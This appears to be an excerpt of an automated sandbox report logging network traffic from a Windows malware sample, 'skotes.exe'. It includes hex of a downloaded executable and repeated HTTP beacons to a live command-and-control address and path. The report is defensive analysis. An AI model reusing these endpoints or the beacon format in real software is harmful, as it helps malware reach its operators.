00 00 04 00 00 a1 f7 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ )`Ui` @ @.rsrc`2@.idata 8@iikmhsgd)):@lxdgfeou @)@.taggant@`*")@
Nov 12, 2024 15:42:33.348001003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:33.348011017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:33.348021984 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:33.348033905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:33.348043919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:33.348053932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:33.348058939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:33.348064899 CET	848	IN	Data Raw: 5c 7f 23 e6 c1 fd 7e d9 f1 e6 0c e6 06 c3 01 16 57 97 58 8c 7f 85 48 c1 35 e6 f8 3f 68 98 09 d6 e1 22 60 7c 01 e9 af 00 52 94 28 a0 fa f7 04 35 38 03 27 61 fb b4 71 eb 69 99 a7 bc e2 bf d0 f2 c3 9b a6 24 78 20 fe 6f 93 f8 5d de 4e 19 41 7c f6 e9 Data Ascii: \#~WXH5?h"`\|R(58'aqi$x o]NA\|STNu]rA%0sLRYCx@]i/Vj/pE%f[8~#]G]+\|rmC{?G"p=]`S
Nov 12, 2024 15:42:33.348076105 CET	1236	IN	Data Raw: 67 75 24 02 c2 a0 9a d9 2e 27 a3 ce ba a0 95 de 0a 3e fd a0 e8 98 a2 7e 79 02 75 4a ff ad e7 1f ce e3 4c 54 cd a0 1e 51 cd d5 74 4e 8c a0 b0 de 7d 0d 62 3c 78 a0 bc 0e 80 a0 40 c2 97 bd cb ef cd 85 be 77 36 fd ba ea 44 f6 58 c7 06 18 67 1e e0 e5 Data Ascii: gu$.'>~yuJLTQtN}b<x@w6DXg6pt6f\|66DR*FK!%Ov0V~m?f! .yqMfik~+kVv>5INP7!(A9 -O7#rg&N`m
Nov 12, 2024 15:42:33.353028059 CET	1236	IN	Data Raw: 1e d8 72 85 db 8c ac b5 37 92 a7 76 de c1 17 12 db bb 30 cd 96 bf b9 4e 50 3b 6d 39 ff 20 73 ca 37 eb 62 17 e8 a7 bc 38 2f 08 53 e3 04 ef d7 0d 94 f9 ee 23 2f 8f bb 1f 5a ed bc d3 23 38 f3 e1 fb b9 ac 6d f1 b6 42 36 30 90 60 bf cb cb 6d 07 51 4d Data Ascii: r7v0NP;m9 s7b8/S#/Z#8mB60`mQM)n1,aew%3UK~_HpZRA8R&7,`d$tXJxfD8Q6$;.Vi:~noHB\je@w>-Iw?9QbC\c*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49806	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:37.494781971 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 37 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005763001&unit=246122658369
Nov 12, 2024 15:42:38.408425093 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49807	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:40.041838884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 15:42:40.973289967 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49808	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:42.661609888 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 15:42:43.590478897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49809	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:45.331182003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 15:42:46.247415066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49810	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:47.931355953 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 15:42:48.830125093 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49811	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:50.618990898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 15:42:51.484400034 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49812	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:52.997492075 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 15:42:53.926218033 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49813	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:55.580707073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 15:42:56.493676901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49814	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:58.057621002 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 15:42:58.963212967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49815	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:43:00.747348070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 15:43:01.643214941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:43:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49816	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:43:03.510296106 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 15:43:04.409193039 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:43:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 12, 2024 15:42:10.705116987 CET	13.107.246.45	443	192.168.2.4	49771	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	142.250.185.164	443	7728	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:41:10 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 14:41:10 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:10 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-4Qbo_tT-6p8F5TX_R_YR8A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 14:41:10 UTC	112	IN	Data Raw: 65 34 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 6f 72 74 68 65 72 6e 20 74 61 75 72 69 64 73 20 6d 65 74 65 6f 72 20 73 68 6f 77 65 72 22 2c 22 72 6f 6b 69 20 73 61 73 61 6b 69 20 62 61 73 65 62 61 6c 6c 22 2c 22 77 6f 72 64 6c 65 20 74 6f 64 61 79 20 6e 6f 76 65 6d 62 65 72 20 31 32 22 2c 22 6d 65 64 69 63 61 72 65 20 70 72 65 6d Data Ascii: e4c)]}'["",["northern taurids meteor shower","roki sasaki baseball","wordle today november 12","medicare prem
2024-11-12 14:41:10 UTC	1378	IN	Data Raw: 69 75 6d 73 20 32 30 32 35 22 2c 22 76 65 72 69 7a 6f 6e 20 66 69 6f 73 20 69 6e 74 65 72 6e 65 74 20 6f 75 74 61 67 65 20 6d 61 70 22 2c 22 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 70 72 65 71 75 65 6c 20 31 39 32 33 20 73 65 61 73 6f 6e 20 32 22 2c 22 77 61 73 68 69 6e 67 74 6f 6e 20 77 69 7a 61 72 64 73 20 68 6f 75 73 74 6f 6e 20 72 6f 63 6b 65 74 73 22 2c 22 6f 76 65 72 77 61 74 63 68 20 63 6c 61 73 73 69 63 20 68 65 72 6f 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f Data Ascii: iums 2025","verizon fios internet outage map","yellowstone prequel 1923 season 2","washington wizards houston rockets","overwatch classic heroes"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwo
2024-11-12 14:41:10 UTC	1378	IN	Data Raw: 63 46 46 71 64 55 55 30 64 31 55 78 52 56 4d 72 57 48 70 42 4b 7a 52 4a 64 31 56 59 53 58 59 77 56 48 5a 33 5a 47 56 4a 55 58 4a 71 61 58 70 35 65 58 51 33 51 54 52 49 54 45 52 48 56 47 5a 54 65 45 6f 35 55 31 4a 69 4e 7a 52 50 4d 56 42 4c 4e 30 46 70 54 6b 35 53 54 6d 64 42 55 31 4e 6a 54 57 56 59 5a 55 52 78 4d 48 68 74 57 45 31 77 62 48 42 72 64 47 52 5a 57 53 39 4e 4e 53 39 6d 63 31 42 36 65 47 46 55 5a 6d 68 46 62 58 70 4a 65 56 70 4c 55 6a 55 78 53 58 41 33 56 47 52 4b 62 32 31 61 5a 30 34 78 53 6b 49 31 4f 57 52 7a 57 6d 78 61 4e 47 46 35 64 6a 5a 6e 56 58 6c 7a 61 47 31 68 55 58 6c 4e 54 32 39 76 54 32 34 76 59 6d 45 35 4f 46 42 6c 59 6c 70 49 51 6d 77 34 4e 69 39 54 65 48 56 4a 4b 32 74 4d 64 58 68 4b 54 45 35 6a 4d 30 6f 35 4b 30 31 4d 62 45 6c Data Ascii: cFFqdUU0d1UxRVMrWHpBKzRJd1VYSXYwVHZ3ZGVJUXJqaXp5eXQ3QTRITERHVGZTeEo5U1JiNzRPMVBLN0FpTk5STmdBU1NjTWVYZURxMHhtWE1wbHBrdGRZWS9NNS9mc1B6eGFUZmhFbXpJeVpLUjUxSXA3VGRKb21aZ04xSkI1OWRzWmxaNGF5djZnVXlzaG1hUXlNT29vT24vYmE5OFBlYlpIQmw4Ni9TeHVJK2tMdXhKTE5jM0o5K01MbEl
2024-11-12 14:41:10 UTC	799	IN	Data Raw: 4a 48 52 6d 35 7a 54 31 6c 61 56 45 64 4c 56 33 42 77 4e 58 70 55 53 48 70 4f 53 54 5a 6e 61 48 6c 6c 51 30 4e 51 61 6a 55 31 65 47 6b 77 63 7a 41 77 62 46 4e 78 4d 47 74 49 56 31 70 71 57 58 41 79 4f 54 63 72 62 54 4a 50 56 48 70 51 62 47 35 35 5a 47 4e 68 52 7a 4d 34 56 6d 35 6e 4f 44 56 73 56 6c 56 48 56 46 70 74 61 31 42 57 55 30 6b 76 56 6a 6c 52 62 47 35 42 64 48 4a 4f 65 56 4e 6d 55 55 74 69 52 44 4a 42 65 46 4e 49 4e 6c 56 5a 61 6d 35 71 56 55 67 35 61 30 78 4b 62 44 5a 4e 64 32 6c 78 65 45 39 52 57 45 45 7a 4d 55 4a 44 62 58 64 51 65 6e 68 6f 51 6e 70 31 62 58 70 51 54 6d 4d 72 62 43 74 6f 61 33 4e 6f 51 6a 42 53 65 58 56 6d 4d 57 46 78 51 33 70 59 54 6e 5a 59 56 6e 5a 70 64 6d 78 50 56 7a 46 33 63 58 70 4f 56 33 56 6f 52 56 6b 34 62 7a 46 6a 61 Data Ascii: JHRm5zT1laVEdLV3BwNXpUSHpOSTZnaHllQ0NQajU1eGkwczAwbFNxMGtIV1pqWXAyOTcrbTJPVHpQbG55ZGNhRzM4Vm5nODVsVlVHVFpta1BWU0kvVjlRbG5BdHJOeVNmUUtiRDJBeFNINlVZam5qVUg5a0xKbDZNd2lxeE9RWEEzMUJDbXdQenhoQnp1bXpQTmMrbCtoa3NoQjBSeXVmMWFxQ3pYTnZYVnZpdmxPVzF3cXpOV3VoRVk4bzFja
2024-11-12 14:41:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.185.164	443	7728	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
